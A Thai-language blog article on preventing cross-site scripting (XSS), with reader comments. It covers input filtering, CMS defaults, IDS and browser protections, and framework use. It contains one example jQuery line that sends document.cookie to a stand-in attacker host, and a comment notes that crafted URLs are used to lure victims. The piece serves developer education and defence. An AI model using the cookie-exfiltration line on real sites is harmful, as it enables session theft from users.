คำเตือน: บทความในชุดการรักษาความปลอดภัยคอมพิวเตอร์ มีจุดประสงค์หลักเพื่อการศึกษา และการระมัดระวังของนักพัฒนา การทดสอบต้องทำในสภาพแวดล้อมปิดเท่านั้น (ตั้งเซิร์ฟเวอร์เฉพาะเอง ทดสอบเสร็จแล้วปิดบริการ) ห้ามทดสอบในเว็บจริงที่ให้บริการอยู่ หากผมทราบว่าสมาชิก Blognone มีการทดลอง โทษคือแบนถาวรอย่างเดียวไม่ว่าจะเกิดความเสียหายหรือไม่
ต่อจาก CSRF ปัญหาความปลอดภัยในเว็บที่พบได้มาก แต่ปัญหาอีกอย่างหนึ่งที่พบได้และมักมีอันตรายมากกว่าคือปัญหาความปลอดภัย Cross Site Scripting (XSS หรือบางครั้งเรียกว่า CSS) ที่เป็นช่องให้แฮกเกอร์สามารถนำสคริปต์อยากที่แฮกเกอร์ต้องการไปวางบนหน้าเว็บเป้าหมายได้
ปัญหา XSS เกิดจากเมื่อเว็บรับข้อมูลจากผู้ใช้โดยไม่มีการกรองสคริปต์ออกจากอินพุตของผู้ใช้ก่อน ไม่ว่าจะเป็นการรับผ่านยูอาร์แอล หรือจะรับผ่านแบบฟอร์มต่างๆ
การรันสคริปต์ได้ทำให้ทำให้แฮกเกอร์สามารถขโมยข้อมูลที่ควรเป็นความลับของผู้ใช้ เช่น คุกกี้ที่เป็นความลับสำหรับการล็อกอิน ตัวอย่างเช่นการวางคอมเมนต์ในเว็บๆ หนึ่ง หากผู้ใช้สามารวางสคริปต์
{syntaxhighlighter brush:xml}
$("#hackingimage").attr('src',"http://hackingserver.example/hacked.png?cookie="+document.cookie);
{/syntaxhighlighter}
ตัวอย่างเช่นนี้ (ตัวอย่างในกรณีที่ใช้ jquery) ทำให้แฮกเกอร์ที่สร้างเซิร์ฟเวอร์เพื่อรับ request รูปภาพที่เบราว์เซอร์ของเหยื่อส่งออกไป โดยส่งข้อมูลคุกกี้ทั้งหมดออกไปด้วย
การป้องกันปัญหาความปลอดภัย XSS อาศัยการกรองอินพุตจากผู้ใช้เป็นหลัก โดยอินพุตต่างๆ ไม่ควรถูกนำมาใช้งานในทันที แต่ต้องมีการกรองก่อนทุกครั้ง และต้องมั่นใจได้ว่าผู้ใช้ไม่สามารถวางสคริปต์ใดๆ ลงในเว็บได้
ค่าความปลอดภัยเริ่มต้นของ CMS หลายตัวมักตั้งค่าความปลอดภัยสำหรับ XSS ไว้เป็นอย่างดีแล้ว ตัวอย่างในกรณีของ Drupal นั้นจะกำหนด filtered HTML สำหรับผู้ใช้ทั่วไป และ full HTML สำหรับผู้ใช้ที่วางใจได้เท่านั้น โดย filtered HTML จะปิดไม่ให้ผู้ใช้สามารถวางสคริปต์ใดๆ ลงในแบบฟอร์มได้ หรือหากวางได้ก็จะแสดงผลเป็นโค้ดไปยังหน้าเว็บ ไม่ได้เป็นสคริปต์ที่รันได้ ซึ่งการกรองเหล่านนี้ไม่ใช่เพียงแท็ก script เท่านั้นแต่รวมไปถึง attribute หลายตัว เช่น onload, onclick รวมเป็น Event Handler ทั้งหมด 94 กรณี และ CSS ในบางกรณีอีกด้วย (ดูรายการตรวจสอบ XSS ได้ใน OWASP)
ระบบป้องกันจำพวก Intrusion Detection System (IDS) หลายตัวมีความสามารถในการตรวจจับว่าผู้ใช้พยายามโพสสคริปต์เข้ามายังเว็บหรือไม่ ทำให้สามารถแจ้งเตือนได้แต่เนิ่นๆ ว่ามีความพยายามทดสอบว่าเว็บมีการรักษาความปลอดภัยที่ดี
ทุกวันนี้การวางข้อมูลจากเว็บอื่นๆ เช่น กรณีของ YouTube นั้นได้รับความนิยมเป็นอย่างมาก นักพัฒนาต้องระวังว่าการเปิดเว็บให้รองรับการวางข้อมูลเหล่านี้ไม่ใช่เรื่องสำคัญที่สุด บางเว็บเช่น Twitter กลับพยายามให้ผู้ใช้ปล่อยให้ใช้แท็ก script เพื่อจะแสดงผลได้ถูกต้อง กรณีแบบนี้ควรระวังที่จะไม่ยอมรับการแสดงผลแบบนี้หรือหากยอมรับก็ต้องมีการกรองเพิ่มเติมอย่างระมัดระวัง
ในฝั่งเบราว์เซอร์เอง เบราว์เซอร์ยุคใหม่ล้วนมีความสามรถในการวิเคราะห์โค้ดที่มีความพยายามโจมตีด้วย XSS กันมากขึ้นเรื่อยๆ เช่น การฝังสคริปต์ไว้ในยูอาร์แอล แต่ความสามารถเหล่านี้ก็ยังจำกัดอยู่มาก ความรับผิดชอบจึงตกกับนักพัฒนาเว็บเป็นหลัก
XSS และ CSRF เป็นปัญหาความปลอดภัยสำคัญที่เป็นความรับผิดชอบของนักพัฒนาเว็บโดยตรงที่จะป้องกันปัญหาเปล่านี้ ความระมัดระวังในทุกๆ อินพุตเป็นสิ่งสำคัญมาก เมื่อเรากำลังให้บริการทั้งโลกที่ไม่แน่ใจว่ามีใครพยายามทำอะไรอยู่บ้าง
นักพัฒนาที่ยังไม่คุ้นชินกับการพัฒนาเว็บเช่นนี้ ควรเรียนรู้บทเรียนที่นักพัฒนารุ่นก่อนล้วนได้ประสบเจอกันมาก่อนแล้ว เฟรมเวิร์คและ CMS สำหรับการพัฒนาเว็บทั้งหลายล้วนเป็นผลของการสะสมประสบการณ์เหล่านี้เป็นอย่างดี อย่างเช่น Django หรือ CodeIgnitor ผมยังคงย้ำว่าในยุคนี้หากไม่ใช่ผู้เชี่ยวชาญเฉพาะทางแล้ว เราไม่ควรพัฒนาเว็บจากการเขียน php บรรทัดแรกด้วยตัวเองเหมือนแต่เดิมอีกต่อไป
Comments
BBCode htmlspecialchars();
คงหันมาใช้เฟรมเวิค จิงๆละ
ขอบคุณครับ บทความชุดนี้มีประโยชน์ทั้งชุดจริง ๆ
อ่านแล้วงงครับ ต้องเปลี่ยนอยากที่เป็นอย่างที่หรือเปล่าครับ?
สามาร => สามารถ
สามรถ => สามารถ
เปล่านี้ -> เหล่านี้หรือเปล่าครับ?
เหล่าน => เหล่า
การที่ผมใช้วิธีอ่านไทยบน PS Vita ไม่ได้บนเว็บนี้ เกี่ยวข้องกันหรือเปล่าครับ?
ทุกวันนี้ในบางภาวะและเทคนิคบางอย่างเฟรมเวิร์คก็ยังหนาวๆ ครับ อันนี้ผมพูดได้เพราะเคย Codeigniter กับ Laravel เขียนงานมาแล้ว และเคยจับ Yii พอประมาณ (ยังไม่ทำมาใช้กับงาน)
อย่างโค้ด js ส่งผ่านคุ๊กกี้ข้างบน ถ้าคนอยากทำเริ่มหาทางอื่นที่จะแทรกให้คนอื่นดูได้ วิธีการพวกนี้แหละที่สร้างความต่างและความปวดหัวให้คนเขียนโค้ด
วิธีที่ดีจึงเป็น การตรวจสอบ REQUEST ให้ตรงกันชนิดไปเลย อันนี้รับแต่เลขรับไป รับแต่ตัวอักษรก็กรอง A-Z อย่างเดียวพอ ถ้ามี HTML ก็อย่าลืมจัดการแท็กอื่นๆ ที่ไม่เกี่ยวข้องทิ้ง กับ PHP คือ strip_tags (จัดการดีที่สุดแล้ว) ส่วนข้อมูลอื่นๆ จงกำหนดตัวแปรที่มาที่ไปให้ชัดเจน แล้วจงเขียนโปรแกรมในสภาพ register global off ซะ PHP เวอร์ชั่นใหม่ๆ มันถูกถอดไปแล้ว จึงไม่มีความจำเป็นต้องมาเขียนแบบวิธีเก่าๆ
ส่วนคนใช้พวกสคริปสำเร็จ CMS นอกจากการป้องกันไม่ให้โพส HTML แล้ว อีกอันที่อยากแนะนำคืออย่าให้โพส Flash ได้ด้วย ผมคงไม่แจงว่าทำไม แต่มันเกี่ยวกับ XSS ครับ หลายเว็บบอร์ดเปิดให้โพส Flash ได้นี้ผมอยากให้ระวังกันจริงๆ
มันไม่ง่ายเลยที่จะทำ GIF ให้มีขนาดน้อยกว่า 20kB
ขอบคุณครับสำหรับบทความดีๆ
สามารถนำสคริปต์อยากที่แฮกเกอร์ต้องการ => สามารถนำสคริปต์อย่างที่แฮกเกอร์ต้องการ
ไม่แน่ใจว่าผมอ่านแล้วงงเองหรือป่าวครับ
ขออณุญาติแสดงความเห็นครับ
เป็นบทความที่ดี แต่ผมคิดว่ายังขาดในเรื่องของการยกตัวอย่างของการโจมตีจริงๆว่าเค้าทำกันยังไง ซึ่งถ้าเป็นคนที่ไม่เคยศึกษามาก่อนอาจจะงงได้ว่าแล้วมันจะ hack ยังไง
ยกตัวอย่างเช่น บางคนอาจจะสงสัยว่า อยู่ดีๆ user จะเอา script มาวางในช่อง comment ทำไม
ส่วนตัวคิดว่า บทความน่าจะเสริมไปว่า การ hack จริงๆมีหลายวิธี หนึ่งในนั้นก็คือการปั้น url ขึ้นมาแล้วใช้ social engineer หลอกให้ user click ที่ url นั้น
การหลอกให้ user เอา script มาวางใน web form มันไม่ง่ายนะครับ
วิธีที่ง่ายกว่าและนิยมมากกว่า คือการปั้น url แล้วหลอกให้ user click